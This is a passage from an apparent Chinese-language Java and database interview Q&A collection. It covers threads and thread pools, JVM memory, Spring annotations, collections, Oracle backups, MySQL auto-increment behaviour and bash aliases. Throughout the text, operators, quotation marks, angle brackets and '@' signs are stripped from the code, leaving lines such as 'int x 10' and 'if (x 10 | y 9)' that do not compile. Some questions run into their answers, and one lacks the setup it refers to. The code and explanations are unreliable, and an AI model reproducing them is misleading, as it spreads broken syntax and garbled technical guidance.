{e.printStackTrace();}}}//实现Runnable接口重写run方法
class CustomRunnable implements Runnable {public void run() {System.out.println(Thread.currentThread().getName());
// throw new RuntimeException(aaa);}}//实现Callable接口重写call方法
class CustomCallable implements CallableString {public String call() throws Exception {System.out.println(Thread.currentThread().getName());return Callable Result;}}//实现Callable接口重写call方法无法计算抛出异常
class CustomCallable2 implements CallableString {public String call() throws Exception {System.out.println(Thread.currentThread().getName());throw new Exception(I can compute a result);}}打印结果
CustomRunnable
CustomCallable
Callable Result
CustomCallableWithException
java.util.concurrent.ExecutionException: java.lang.Exception: I can compute a resultat java.util.concurrent.FutureTask.report(FutureTask.java:122)at java.util.concurrent.FutureTask.get(FutureTask.java:192)at constxiong.interview.TestRunnableAndCallable.testImplementsCallableWithException(TestRunnableAndCallable.java:46)at constxiong.interview.TestRunnableAndCallable.main(TestRunnableAndCallable.java:12)
Caused by: java.lang.Exception: I can compute a resultat constxiong.interview.CustomCallable2.call(TestRunnableAndCallable.java:81)at constxiong.interview.CustomCallable2.call(TestRunnableAndCallable.java:1)at java.util.concurrent.FutureTask.run(FutureTask.java:266)at java.lang.Thread.run(Thread.java:748)oracle中存储过程、游标、函数的区别
游标可以当作一个指针它可以指定结果中的任何位置然后允许用户对指定位置的数据进行处理函数可以理解函数是存储过程的一种函数可以没有参数但一定有返回值存储过程可以没有参数可以没有返回值函数和存储过程都可以通过out参数返回值需要返回多个参数使用存储过程DML 语句中只能调用函数不能调用存储过程
Redis如何选择数据库 SELECT index切换到指定的数据库数据库索引号 index 用数字值指定0 作为起始索引值
连接建立后如果不 select默认对 db 0 操作
JDK、JRE、JVM之间的关系是什么样的
JDK 是 JAVA 程序开发时用的开发工具包包含 Java 运行环境 JREJDk、JRE 内部都包含 JAVA虚拟机 JVMJVM 包含 Java 应用程序的类的解释器和类加载器等
JDK8为什么要使用元空间取代永久代
永久代是 HotSpot VM 对方法区的实现JDK 8 将其移除的部分原因如下
类及方法的信息等比较难确定其大小因此对于永久代的大小指定比较困难太小容易出现永久代溢出太大则容易导致老年代溢出永久代会为 GC 带来不必要的复杂度并且回收效率偏低将 HotSpot 与 JRockit 进行整合JRockit 是没有永久代的
线程池包含哪些状态
线程池状态
线程池的5种状态RUNNING、SHUTDOWN、STOP、TIDYING、TERMINATED。
见 ThreadPoolExecutor 源码
// runState is stored in the high-order bits
private static final int RUNNING -1 COUNT_BITS;
private static final int SHUTDOWN 0 COUNT_BITS;
private static final int STOP 1 COUNT_BITS;
private static final int TIDYING 2 COUNT_BITS;
private static final int TERMINATED 3 COUNT_BITS;RUNNING线程池一旦被创建就处于 RUNNING 状态任务数为 0能够接收新任务对已排队的任务进行处理。 SHUTDOWN不接收新任务但能处理已排队的任务。调用线程池的 shutdown() 方法线程池由 RUNNING 转变为 SHUTDOWN 状态。 STOP不接收新任务不处理已排队的任务并且会中断正在处理的任务。调用线程池的 shutdownNow() 方法线程池由(RUNNING 或 SHUTDOWN ) 转变为 STOP 状态。 TIDYING
SHUTDOWN 状态下任务数为 0 其他所有任务已终止线程池会变为 TIDYING 状态会执行 terminated() 方法。线程池中的 terminated() 方法是空实现可以重写该方法进行相应的处理。线程池在 SHUTDOWN 状态任务队列为空且执行中任务为空线程池就会由 SHUTDOWN 转变为 TIDYING 状态。线程池在 STOP 状态线程池中执行中任务为空时就会由 STOP 转变为 TIDYING 状态。
TERMINATED线程池彻底终止。线程池在 TIDYING 状态执行完 terminated() 方法就会由 TIDYING 转变为 TERMINATED 状态。
状态转换如图 JDK 源码中的解释如下
状态
The runState provides the main lifecyle control, taking on values:RUNNING: Accept new tasks and process queued tasks
SHUTDOWN: Dont accept new tasks, but process queued tasks
STOP: Dont accept new tasks, dont process queued tasks,and interrupt in-progress tasks
TIDYING: All tasks have terminated, workerCount is zero,the thread transitioning to state TIDYINGwill run the terminated() hook method
TERMINATED: terminated() has completed状态间的变化
RUNNING - SHUTDOWNOn invocation of shutdown(), perhaps implicitly in finalize()
(RUNNING or SHUTDOWN) - STOPOn invocation of shutdownNow()
SHUTDOWN - TIDYINGWhen both queue and pool are empty
STOP - TIDYINGWhen pool is empty
TIDYING - TERMINATEDWhen the terminated() hook method has completedThreads waiting in awaitTermination() will return when the
state reaches TERMINATED.如何决定使用HashMap还是TreeMap
HashMap基于散列桶数组和链表实现TreeMap基于红黑树实现。HashMap不支持排序TreeMap默认是按照Key值升序排序的可指定排序的比较器主要用于存入元素时对元素进行自动排序。HashMap大多数情况下有更好的性能尤其是读数据。在没有排序要求的情况下使用HashMap。
都是非线程安全。
进一步分析
https://blog.csdn.net/xlgen157387/article/details/47907721
jQuery中有哪些选择器
基本选择器层次选择器基本过滤选择器内容过滤选择器可见性过滤选择器属性过滤选择器子元素过滤选择器表单选择器表单过滤选择器
|和||的作用和区别
|
逻辑或| 两边的表达式都会进行运算整数的或运算符
||
短路或|| 左边的表达式结果为 true 时|| 右边的表达式不参与计算 package constxiong.interview;/*** 测试 | ||* author ConstXiong*/public class TestOr {public static void main(String[] args) {int x 10;int y 9;if (x 10 | y 9) {}System.out.println(x x , y y);int a 10;int b 9;if (a 10 || b 9) {//a 10 为 true所以 b 不会运算b9}System.out.println(a a , b b);/*00000000000000000000000000000001|0000000000000000000000000000001000000000000000000000000000000011*/System.out.println(1 | 2);//打印3}}
打印 x 10, y 10 a 10, b 9 3 Spring 如何自定义注解
Spring 中最简单的自定义注解的方式就是使用现有的注解标注在自定义的注解之上复用原注解的能力。
/*** 自定义注解继承自 Component* * author ConstXiong*/
Retention(RetentionPolicy.RUNTIME)
Target(ElementType.TYPE)
Documented
Component
public interface CustomComponent {String value() default ;
}/*** 自定义 ComponentScan*/
Retention(RetentionPolicy.RUNTIME)
Target(ElementType.TYPE)
Documented
ComponentScan
public interface CustomComponentScan {/*** 别名*/AliasFor(annotationComponentScan.class, valuebasePackages)String[] v() default {};}/*** 测试 Spring 自定义注解* * author ConstXiong*/
CustomComponentScan(vconstxiong)
public class Test {public static void main(String[] args) throws Exception {AnnotationConfigApplicationContext context new AnnotationConfigApplicationContext(Test.class);System.out.println(context.getBean(u, User.class));}
}JVM 如何确定垃圾对象
JVM 采用的是可达性分析算法通过 GC Roots 来判定对象是否存活从 GC Roots 向下追溯、搜索会产生 Reference Chain。当一个对象不能和任何一个 GC Root 产生关系时就判定为垃圾。
软引用和弱引用也会影响对象的回收。内存不足时会回收软引用对象GC 时会回收弱引用对象。
try-catch-finally中哪个部分可以省略
catch 和 finally 语句块可以省略其中一个否则编译会报错。
package constxiong.interview;public class TestOmitTryCatchFinally {public static void main(String[] args) {omitFinally();omitCatch();}/*** 省略finally 语句块*/public static void omitFinally() {try {int i 0;i 1;System.out.println(i);} catch (Exception e) {e.printStackTrace();}}/*** 省略 catch 语句块*/public static void omitCatch() {int i 0;try {i 1;} finally {i 10;}System.out.println(i);}
}servlet的常用方法
javax.servlet.Servlet 接口定义 servlet 的标准下面是 3.0.1 版 Servlet 接口中的方法
//初始化
public void init(ServletConfig config) throws ServletException;//返回 servlet 初始化信息与启动参数
public ServletConfig getServletConfig();//被 servlet 容器调用响应 servlet 请求
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;//返回 servlet 信息如作者、版本和版权
public String getServletInfo();//由 servlet 容器调用把 servlet 去除
public void destroy();javax.servlet.Servlet.GenericServlet 抽象类实现了 javax.servlet.Servlet并无具体实现。
javax.servlet.http.HttpServlet 抽象类继承了 javax.servlet.Servlet.GenericServlet。HttpServlet 类中的 service() 方法根据 http 的 method 类型分别请求了如下方法
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
protected void doHead(HttpServletRequest req, HttpServletResponse resp)
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
protected void doDelete(HttpServletRequest req, HttpServletResponse resp)
protected void doOptions(HttpServletRequest req, HttpServletResponse resp)
protected void doTrace(HttpServletRequest req, HttpServletResponse resp)说一说JVM的内存区域
Java 虚拟机在执行 Java 程序的过程中会把他所管理的内存划分为若干个不同的数据区域
程序计数器可以看作是当前线程所执行的字节码文件class的行号指示器它会记录执行痕迹是每个线程私有的方法区主要存储已被虚拟机加载的类的信息、常量、静态变量和即时编译器编译后的代码等数据该区域是被线程共享的很少发生垃圾回收栈栈是运行时创建的是线程私有的生命周期与线程相同存储声明的变量本地方法栈为 native 方法服务native 方法是一种由非 java 语言实现的 java 方法与 java 环境外交互如可以用本地方法与操作系统交互堆堆是所有线程共享的一块内存是在 java 虚拟机启动时创建的几乎所有对象实例都在此创建所以经常发生垃圾回收操作
JDK8 之前Hotspot 中方法区的实现是永久代Perm
JDK8 开始使用元空间Metaspace以前永久代所有内容的字符串常量移至堆内存其他内容移至元空间元空间直接在本地内存分配。
如何停止一个线程池
Java 并发工具包中 java.util.concurrent.ExecutorService 接口定义了线程池任务提交、获取线程池状态、线程池停止的方法等。
JDK 1.8 中线程池的停止一般使用 shutdown()、shutdownNow()、shutdown() awaitTermination(long timeout, TimeUnit unit) 方法。
1、shutdown() 方法源码中解释
* Initiates an orderly shutdown in which previously submitted
* tasks are executed, but no new tasks will be accepted.
* Invocation has no additional effect if already shut down.有序关闭已提交任务继续执行不接受新任务
2、shutdownNow() 方法源码中解释
* Attempts to stop all actively executing tasks, halts the
* processing of waiting tasks, and returns a list of the tasks
* that were awaiting execution.尝试停止所有正在执行的任务停止等待执行的任务并返回等待执行的任务列表
3、awaitTermination(long timeout, TimeUnit unit) 方法源码中解释
* Blocks until all tasks have completed execution after a shutdown
* request, or the timeout occurs, or the current thread is
* interrupted, whichever happens first.
*
* param timeout the maximum time to wait
* param unit the time unit of the timeout argument
* return {code true} if this executor terminated and
* {code false} if the timeout elapsed before termination
* throws InterruptedException if interrupted while waiting收到关闭请求后所有任务执行完成、超时、线程被打断阻塞直到三种情况任意一种发生参数可以设置超时时间与超时单位线程池关闭返回 true超过设置时间未关闭返回 false
实践
1、使用 Executors.newFixedThreadPool(int nThreads) 创建固定大小线程池测试 shutdown() 方法
package constxiong.concurrency.a013;import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;/*** 测试固定数量线程池 shutdown() 方法* author ConstXiong*/
public class TestFixedThreadPoolShutdown {public static void main(String[] args) {//创建固定 3 个线程的线程池ExecutorService threadPool Executors.newFixedThreadPool(3);//向线程池提交 10 个任务for (int i 1; i 10; i) {final int index i;threadPool.submit(() - {System.out.println(正在执行任务 index);//休眠 3 秒try {Thread.sleep(3000);} catch (InterruptedException e) {e.printStackTrace();}});}//休眠 4 秒try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();}//关闭线程池threadPool.shutdown();}}打印结果如下可以看出主线程向线程池提交了 10 个任务休眠 4 秒后关闭线程池线程池把 10 个任务都执行完成后关闭了。
正在执行任务 1
正在执行任务 3
正在执行任务 2
正在执行任务 4
正在执行任务 6
正在执行任务 5
正在执行任务 8
正在执行任务 9
正在执行任务 7
正在执行任务 102、使用 Executors.newFixedThreadPool(int nThreads) 创建固定大小线程池测试 shutdownNow() 方法
package constxiong.concurrency.a013;import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;/*** 测试固定数量线程池 shutdownNow() 方法* author ConstXiong*/
public class TestFixedThreadPoolShutdownNow {public static void main(String[] args) {//创建固定 3 个线程的线程池ExecutorService threadPool Executors.newFixedThreadPool(3);//向线程池提交 10 个任务for (int i 1; i 10; i) {final int index i;threadPool.submit(() - {System.out.println(正在执行任务 index);//休眠 3 秒try {Thread.sleep(3000);} catch (InterruptedException e) {e.printStackTrace();}});}//休眠 4 秒try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();}//关闭线程池ListRunnable tasks threadPool.shutdownNow();System.out.println(剩余 tasks.size() 个任务未执行);}}打印结果如下可以看出主线程向线程池提交了 10 个任务休眠 4 秒后关闭线程池线程池执行了 6 个任务抛出异常打印返回的剩余未执行的任务个数。
正在执行任务 1
正在执行任务 2
正在执行任务 3
正在执行任务 4
正在执行任务 6
正在执行任务 5
剩余 4 个任务未执行
java.lang.InterruptedException: sleep interruptedat java.lang.Thread.sleep(Native Method)at constxiong.concurrency.a013.TestFixedThreadPoolShutdownNow.lambda$0(TestFixedThreadPoolShutdownNow.java:24)at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)at java.util.concurrent.FutureTask.run(FutureTask.java:266)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)at java.lang.Thread.run(Thread.java:748)
java.lang.InterruptedException: sleep interruptedat java.lang.Thread.sleep(Native Method)at constxiong.concurrency.a013.TestFixedThreadPoolShutdownNow.lambda$0(TestFixedThreadPoolShutdownNow.java:24)at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)at java.util.concurrent.FutureTask.run(FutureTask.java:266)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)at java.lang.Thread.run(Thread.java:748)
java.lang.InterruptedException: sleep interruptedat java.lang.Thread.sleep(Native Method)at constxiong.concurrency.a013.TestFixedThreadPoolShutdownNow.lambda$0(TestFixedThreadPoolShutdownNow.java:24)at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)at java.util.concurrent.FutureTask.run(FutureTask.java:266)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)at java.lang.Thread.run(Thread.java:748)3、Executors.newFixedThreadPool(int nThreads) 创建固定大小线程池测试 awaitTermination(long timeout, TimeUnit unit) 方法
package constxiong.concurrency.a013;import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;/*** 测试固定数量线程池 shutdownNow() 方法* author ConstXiong*/
public class TestFixedThreadPoolAwaitTermination {public static void main(String[] args) {//创建固定 3 个线程的线程池ExecutorService threadPool Executors.newFixedThreadPool(3);//向线程池提交 10 个任务for (int i 1; i 10; i) {final int index i;threadPool.submit(() - {System.out.println(正在执行任务 index);//休眠 3 秒try {Thread.sleep(3000);} catch (InterruptedException e) {e.printStackTrace();}});}//关闭线程池,设置等待超时时间 3 秒System.out.println(设置线程池关闭等待 3 秒...);threadPool.shutdown();try {boolean isTermination threadPool.awaitTermination(3, TimeUnit.SECONDS);System.out.println(isTermination ? 线程池已停止 : 线程池未停止);} catch (InterruptedException e) {e.printStackTrace();}//再等待超时时间 20 秒System.out.println(再等待 20 秒...);try {boolean isTermination threadPool.awaitTermination(20, TimeUnit.SECONDS);System.out.println(isTermination ? 线程池已停止 : 线程池未停止);} catch (InterruptedException e) {e.printStackTrace();}}}打印结果如下可以看出主线程向线程池提交了 10 个任务申请关闭线程池 3 秒超时3 秒后线程池并未成功关闭再获取线程池关闭状态 20 秒超时线程池成功关闭。
正在执行任务 1
正在执行任务 3
正在执行任务 2
设置线程池关闭等待 3 秒...
线程池未停止
正在执行任务 4
正在执行任务 6
再等待 20 秒...
正在执行任务 5
正在执行任务 7
正在执行任务 9
正在执行任务 8
正在执行任务 10
线程池已停止总结
调用 shutdown() 和 shutdownNow() 方法关闭线程池线程池都无法接收新的任务shutdown() 方法会继续执行正在执行未完成的任务shutdownNow() 方法会尝试停止所有正在执行的任务shutdown() 方法没有返回值shutdownNow() 方法返回等待执行的任务列表awaitTermination(long timeout, TimeUnit unit) 方法可以获取线程池是否已经关闭需要配合 shutdown() 使用shutdownNow() 不一定能够立马结束线程池该方法会尝试停止所有正在执行的任务通过调用 Thread.interrupt() 方法来实现的如果线程中没有 sleep() 、wait()、Condition、定时锁等应用, interrupt() 方法是无法中断当前的线程的。
如何实现数组和List之间的转换
数组转 List 使用 JDK 中 java.util.Arrays 工具类的 asList 方法
public static void testArray2List() {String[] strs new String[] {aaa, bbb, ccc};ListString list Arrays.asList(strs);for (String s : list) {System.out.println(s);}
}List 转数组使用 List 的 toArray 方法。无参 toArray 方法返回 Object 数组传入初始化长度的数组对象返回该对象数组
public static void testList2Array() {ListString list Arrays.asList(aaa, bbb, ccc);String[] array list.toArray(new String[list.size()]);for (String s : array) {System.out.println(s);}
}static关键字的作用是什么
static 可以修饰变量、方法、代码块和内部类static 变量是这个类所有由该类创建的所有对象共享同一个 static 属性可以通过创建的对象名.属性名 和 类名.属性名两种方式访问static 变量在内存中只有一份static 修饰的变量只能是类的成员变量static 方法可以通过对象名.方法名和类名.方法名两种方式来访问static 代码块在类被第一次加载时执行静态代码块且只被执行一次主要作用是实现 static 属性的初始化static 内部类属于整个外部类而不属于外部类的每个对象只可以访问外部类的静态变量和方法
创建MySQL联合索引应该注意什么
联合索引要遵从最左前缀原则否则不会用到索引Mysql从左到右的使用索引中的字段一个查询可以只使用索引中的一部份但只能是最左侧部分。如索引是 index (a,b,c)可以支持 a 或 a,b 或 a,b,c 3种组合进行查找但不支持 b,c 进行查找
什么是线程池
什么是线程池
线程池就是创建若干个可执行的线程放入一个池容器中有任务需要处理时会提交到线程池中的任务队列处理完之后线程并不会被销毁而是仍然在线程池中等待下一个任务。
为什么要使用线程池
因为 Java 中创建一个线程需要调用操作系统内核的 API操作系统要为线程分配一系列的资源成本很高所以线程是一个重量级的对象应该避免频繁创建和销毁。 使用线程池就能很好地避免频繁创建和销毁。
线程池是一种生产者——消费者模式
先看下一个简单的 Java 线程池的代码
package constxiong.concurrency.a010;import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.BlockingQueue;/*** 简单的线程池* author ConstXiong*/
public class ThreadPool {//阻塞队列实现生产者-消费者BlockingQueueRunnable taskQueue;//工作线程集合ListThread threads new ArrayListThread();//线程池的构造方法ThreadPool(int poolSize, BlockingQueueRunnable taskQueue) {this.taskQueue taskQueue;//启动线程池对应 size 的工作线程for (int i 0; i poolSize; i) {Thread t new Thread(() - {while (true) {Runnable task;try {task taskQueue.take();//获取任务队列中的下一个任务task.run();} catch (InterruptedException e) {e.printStackTrace();}}});t.start();threads.add(t);}}//提交执行任务void execute(Runnable task) {try {//把任务方法放到任务队列taskQueue.put(task);} catch (InterruptedException e) {e.printStackTrace();}}}线程池的使用测试
package constxiong.concurrency.a010;import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;/*** 测试线程池的使用* author ConstXiong*/
public class TestThreadPool {public static void main(String[] args) {// 创建有界阻塞任务队列BlockingQueueRunnable taskQueue new LinkedBlockingQueue(10);// 创建 3个 工作线程的线程池ThreadPool tp new ThreadPool(3, taskQueue);//提交 10 个任务for (int i 1; i 10; i) {final int j i;tp.execute(() - {System.out.println(执行任务 j);});}}}打印结果
执行任务1
执行任务2
执行任务3
执行任务6
执行任务5
执行任务4
执行任务8
执行任务7
执行任务10
执行任务9这个线程池的代码中
poolSize 是线程池工作线程的个数BlockingQueue taskQueue 是用有界阻塞队列存储 Runnable 任务execute(Runnable task) 提交任务线程池对象被创建就自动启动 poolSize 个工作线程工作线程一直从任务队列 taskQueue 中取任务
线程池的原理就是这么简单但是 JDK 中的线程池的功能要远比这个强大的多。
JDK 中线程池的使用
JDK 中提供的最核心的线程池工具类 ThreadPoolExecutor在 JDK 1.8 中这个类最复杂的构造方法有 7 个参数。
ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueueRunnable workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler)corePoolSize线程池保有的最小线程数。 maximumPoolSize线程池创建的最大线程数。 keepAliveTime上面提到项目根据忙闲来增减人员那在编程世界里如何定义忙和闲呢很简单一个线程如果在一段时间内都没有执行任务说明很闲keepAliveTime 和 unit 就是用来定义这个“一段时间”的参数。也就是说如果一个线程空闲了keepAliveTime unit这么久而且线程池的线程数大于 corePoolSize 那么这个空闲的线程就要被回收了。 unitkeepAliveTime 的时间单位 workQueue任务队列 threadFactory线程工厂对象可以自定义如何创建线程如给线程指定name。 handler自定义任务的拒绝策略。线程池中所有线程都在忙碌且任务队列已满线程池就会拒绝接收再提交的任务。handler 就是拒绝策略包括 4 种(即RejectedExecutionHandler 接口的 4个实现类)。 AbortPolicy默认的拒绝策略throws RejectedExecutionExceptionCallerRunsPolicy提交任务的线程自己去执行该任务DiscardPolicy直接丢弃任务不抛出任何异常DiscardOldestPolicy丢弃最老的任务加入新的任务
JDK 的并发工具包里还有一个静态线程池工厂类 Executors可以方便地创建线程池但是由于 Executors 创建的线程池内部很多地方用到了无界任务队列在高并发场景下无界任务队列会接收过多的任务对象导致 JVM 抛出OutOfMemoryError整个 JVM 服务崩溃影响严重。所以很多公司已经不建议使用 Executors 去创建线程。
Executors 的简介
虽然不建议使用作为对 JDK 的学习还是简单介绍一下.
newFixedThreadPool创建定长线程池每当提交一个任务就创建一个线程直到达到线程池的最大数量这时线程数量不再变化当线程发生错误结束时线程池会补充一个新的线程newCachedThreadPool创建可缓存的线程池如果线程池的容量超过了任务数自动回收空闲线程任务增加时可以自动添加新线程线程池的容量不限制newScheduledThreadPool创建定长线程池可执行周期性的任务newSingleThreadExecutor创建单线程的线程池线程异常结束会创建一个新的线程能确保任务按提交顺序执行newSingleThreadScheduledExecutor创建单线程可执行周期性任务的线程池newWorkStealingPool任务可窃取线程池不保证执行顺序当有空闲线程时会从其他任务队列窃取任务执行适合任务耗时差异较大。
List、Set、Map 之间的区别是什么
Collection框架关系图如下 List有序集合元素可重复Set不重复集合LinkedHashSet按照插入排序SortedSet可排序HashSet无序Map键值对集合存储键、值和之间的映射Key无序唯一value 不要求有序允许重复
与Oracle相比Mysql有什么优势
Mysql 是开源软件、无需付费操作简单、部署方便用户可以根据应用的需求去定制数据库Mysql 的引擎是插件式
Oracle怎样实现每天备份一次
通过操作系统的定时任务调用脚本导出数据库
windows
在 任务计划程序 里创建基本任务设置备份周期执行 bat 脚本脚本参考
cd d:\oracle_back
del oracle.dmp
expdp username/passwordorcl directoryDIR_EXP dumpfileoracle.dmplinux
通过 crontab 制作定时任务执行 shell 脚本脚本参考
cd /back/oracle_back
rm oracle.dmp
expdp username/passwordorcl directoryDIR_EXP dumpfileoracle.dmp什么是多态如何实现有什么好处
多态 同一个接口使用不同的实例而执行不同操作。同一个行为具有多个不同表现形式或形态的能力。
实现多态有三个条件
继承子类重写父类的方法父类引用变量指向子类对象
实现多态的技术称为动态绑定(dynamic binding)是指在执行期间判断所引用对象的实际类型根据其实际的类型调用其相应的方法。
Java 中使用父类的引用变量调用子类重写的方法即可实现多态。
好处
消除类型之间的耦合关系可替换性(substitutability)可扩充性(extensibility)接口性(interface-ability)灵活性(flexibility)简化性(simplicity)
delete、drop、truncate区别
truncate 和 delete 只删除数据不删除表结构drop 删除表结构表空间delete 不释放truncate 不一定释放oracle 数据库的 drop 将表删除到回收站可以被彻底删除也可以被还原删除数据的速度drop truncate deletedelete 属于 DML 语言需要事务管理commit 之后才能生效drop 和 truncate 属于 DDL 语言操作立刻生效不可回滚使用场合不再需要表时使用 drop 语句; 保留表删除所有记录用 truncate 语句; 删除部分记录用 delete 语句
说说遇到的Redis集群方案不可用的情况
集群主库半数宕机(根据 failover 原理fail 掉一个主需要一半以上主都投票通过才可以)集群某一节点的主从全数宕机
data block、extent、segment、tablespace有何区别
data block数据块是 oracle 最小的逻辑单位通常 oracle 从磁盘读写的就是块extent区是由若干个相邻的 block 组成segment段是有一组区组成tablespace表空间数据库中数据逻辑存储的地方一个 tablespace 可以包含多个数据文件
为什么不能根据返回类型来区分方法重载
同时方法的重载只是要求两同三不同
在同一个类中相同的方法名称参数列表中的参数类型、个数、顺序不同跟权限修饰符和返回值类型无关
如果可以根据返回值类型来区分方法重载那在仅仅调用方法不获取返回值的使用场景JVM 就不知道调用的是哪个返回值的方法了。
什么是线程什么是进程为什么要有线程有什么关系与区别
进程
程序执行时的一个实例每个进程都有独立的内存地址空间系统进行资源分配和调度的基本单位进程里的堆是一个进程中最大的一块内存被进程中的所有线程共享的进程创建时分配主要存放 new 创建的对象实例进程里的方法区是用来存放进程中的代码片段的是线程共享的在多线程 OS 中进程不是一个可执行的实体即一个进程至少创建一个线程去执行代码
为什么要有线程 每个进程都有自己的地址空间即进程空间。一个服务器通常需要接收大量并发请求为每一个请求都创建一个进程系统开销大、请求响应效率低因此操作系统引进线程。 线程
进程中的一个实体进程的一个执行路径CPU 调度和分派的基本单位线程本身是不会独立存在当前线程 CPU 时间片用完后会让出 CPU 等下次轮到自己时候在执行系统不会为线程分配内存线程组之间只能共享所属进程的资源线程只拥有在运行中必不可少的资源(如程序计数器、栈)线程里的程序计数器就是为了记录该线程让出 CPU 时候的执行地址待再次分配到时间片时候就可以从自己私有的计数器指定地址继续执行每个线程有自己的栈资源用于存储该线程的局部变量和调用栈帧其它线程无权访问
关系
一个程序至少一个进程一个进程至少一个线程进程中的多个线程是共享进程的资源Java 中当我们启动 main 函数时候就启动了一个 JVM 的进程而 main 函数所在线程就是这个进程中的一个线程也叫做主线程一个进程中有多个线程多个线程共享进程的堆和方法区资源但是每个线程有自己的程序计数器栈区域
如下图 区别
本质进程是操作系统资源分配的基本单位线程是任务调度和执行的基本单位内存分配系统在运行的时候会为每个进程分配不同的内存空间建立数据表来维护代码段、堆栈段和数据段除了 CPU 外系统不会为线程分配内存线程所使用的资源来自其所属进程的资源资源拥有进程之间的资源是独立的无法共享同一进程的所有线程共享本进程的资源如内存CPUIO 等开销每个进程都有独立的代码和数据空间程序之间的切换会有较大的开销线程可以看做轻量级的进程同一类线程共享代码和数据空间每个线程都有自己独立的运行程序计数器和栈线程之间切换的开销小通信进程间 以IPC管道信号量共享内存消息队列文件套接字等方式通信 同一个进程下线程间可以共享全局变量、静态变量等数据进行通信做到同步和互斥以保证数据的一致性调度和切换线程上下文切换比进程上下文切换快代价小执行过程每个进程都有一个程序执行的入口顺序执行序列线程不能够独立执行必须依存在应用程序中由程序的多线程控制机制控制健壮性每个进程之间的资源是独立的当一个进程崩溃时不会影响其他进程同一进程的线程共享此线程的资源当一个线程发生崩溃时此进程也会发生崩溃稳定性差容易出现共享与资源竞争产生的各种问题如死锁等可维护性线程的可维护性代码也较难调试bug 难排查
进程与线程的选择
需要频繁创建销毁的优先使用线程。因为进程创建、销毁一个进程代价很大需要不停的分配资源线程频繁的调用只改变 CPU 的执行线程的切换速度快需要大量计算切换频繁时用线程耗时的操作使用线程可提高应用程序的响应线程对 CPU 的使用效率更优多机器分布的用进程多核分布用线程需要跨机器移植优先考虑用进程需要更稳定、安全时优先考虑用进程需要速度时优先考虑用线程并行性要求很高时优先考虑用线程
Java 编程语言中线程是通过 java.lang.Thread 类实现的。
Thread 类中包含 tid线程id、name线程名称、group线程组、daemon是否守护线程、priority优先级 等重要属性。
JDK8中Stream接口的常用方法
Stream 接口中的方法分为中间操作和终端操作具体如下。
中间操作
filter过滤元素map映射将元素转换成其他形式或提取信息flatMap扁平化流映射limit截断流使其元素不超过给定数量skip跳过指定数量的元素sorted排序distinct去重
终端操作
anyMatch检查流中是否有一个元素能匹配给定的谓词allMatch检查谓词是否匹配所有元素noneMatch检查是否没有任何元素与给定的谓词匹配findAny返回当前流中的任意元素用于并行的场景findFirst查找第一个元素collect把流转换成其他形式如集合 List、Map、IntegerforEach消费流中的每个元素并对其应用 Lambda返回 voidreduce归约如求和、最大值、最小值count返回流中元素的个数
什么是反射有什么作用
Java 反射就是在运行状态中
获取任意类的名称、package 信息、所有属性、方法、注解、类型、类加载器、modifierspublic、static、父类、现实接口等获取任意对象的属性并且能改变对象的属性调用任意对象的方法判断任意一个对象所属的类实例化任意一个类的对象
Java 的动态就体现在反射。通过反射我们可以实现动态装配降低代码的耦合度动态代理等。反射的过度使用会严重消耗系统资源。
JDK 中 java.lang.Class 类就是为了实现反射提供的核心类之一。
一个 jvm 中一种 Class 只会被加载一次。
Autowired的作用是什么
Autowired 是一个注释它可以对类成员变量、方法及构造函数进行标注让 spring 完成 bean 自动装配的工作。 Autowired 默认是按照类去匹配配合 Qualifier 指定按照名称去装配 bean。
常见用法
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;import blog.service.ArticleService;
import blog.service.TagService;
import blog.service.TypeService;Controller
public class TestController {//成员属性字段使用 Autowired无需字段的 set 方法Autowiredprivate TypeService typeService;//set 方法使用 Autowiredprivate ArticleService articleService;Autowiredpublic void setArticleService(ArticleService articleService) {this.articleService articleService;}//构造方法使用 Autowiredprivate TagService tagService;Autowiredpublic TestController(TagService tagService) {this.tagService tagService; }}这种情况ID 是几
表的存储引擎如果是 MyISAMID 8 表的存储引擎如果是 InnoDBID 6
InnoDB 表只会把自增主键的最大 ID 记录在内存中所以重启之后会导致最大 ID 丢失
create table uuu
(
id int PRIMARY key auto_increment,
name varchar(100)
) ENGINEInnoDB DEFAULT CHARSETutf8;insert into uuu values(null, 1);
insert into uuu values(null, 2);
insert into uuu values(null, 3);
select * from uuu;-- 重启服务
insert into uuu values(null, 4);
select * from uuu;查询值
id name
1 1
2 2
3 4什么是bash别名
相当于自定义 shell 指令 如ll 指令可以查看文件的详细信息ll 就是一个被定义好的别名能够大大的简化指令
1.通过 alias 命令可以查看命令别名
[root]# alias
alias cpcp -i
alias egrepegrep --colorauto
alias fgrepfgrep --colorauto
alias grepgrep --colorauto
alias l.ls -d .* --colorauto
alias llls -l --colorauto
alias lsls --colorauto
alias mvmv -i
alias rmrm -i
alias whichalias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde2.定义新的别
[root]#alias rmall rm -rf3.取消别名
[root]# unalias rmalllinux指令-date
显示或设定系统的日期与时间
命令参数
-d字符串 显示字符串所指的日期与时间字符串前后必须加上双引号
